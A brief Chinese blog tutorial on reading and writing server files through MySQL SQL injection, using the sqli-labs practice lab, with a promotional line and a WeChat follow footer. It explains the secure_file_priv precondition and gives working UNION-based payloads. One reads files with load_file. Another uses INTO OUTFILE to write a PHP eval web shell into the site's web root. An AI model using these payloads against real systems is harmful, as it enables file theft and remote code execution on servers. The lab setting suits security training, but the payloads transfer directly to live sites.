SQL注入中的文件读写

以mysql为例

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

mysql读写文件有一个非常重要的前置条件:

show global variables like '%secure%'

查看mysql全局变量的配置,当输入以上命令后,结果

secure_file_priv = 空的时候 ,任意读写

secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写

secure_file_priv = NULL 不能读写

要修改配置在数据库配置文件中修改

读:

load_file('filename') filename就是指定读取的文件

以sqlilab的第1关为例:

-1' union select ,1,(Select load_file('c:/phpstudy/www/1.txt')),3%23

读取1.txt里面的内容

写:

select 'content' into outfile 'filename' : content指的是我们要写的内容,filename是要保存的文件名

以sqlilab的第1关为例:

-1' union select 1,2,"?php@eval($_GET['test']);?" into outfile 'c:/phpstudy/www/test123.php' %23

把一句话木马写到/www/test123.php

读写的条件:

1、secure_file_priv 的值不能是null

2、要知道读写的绝对路径



扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄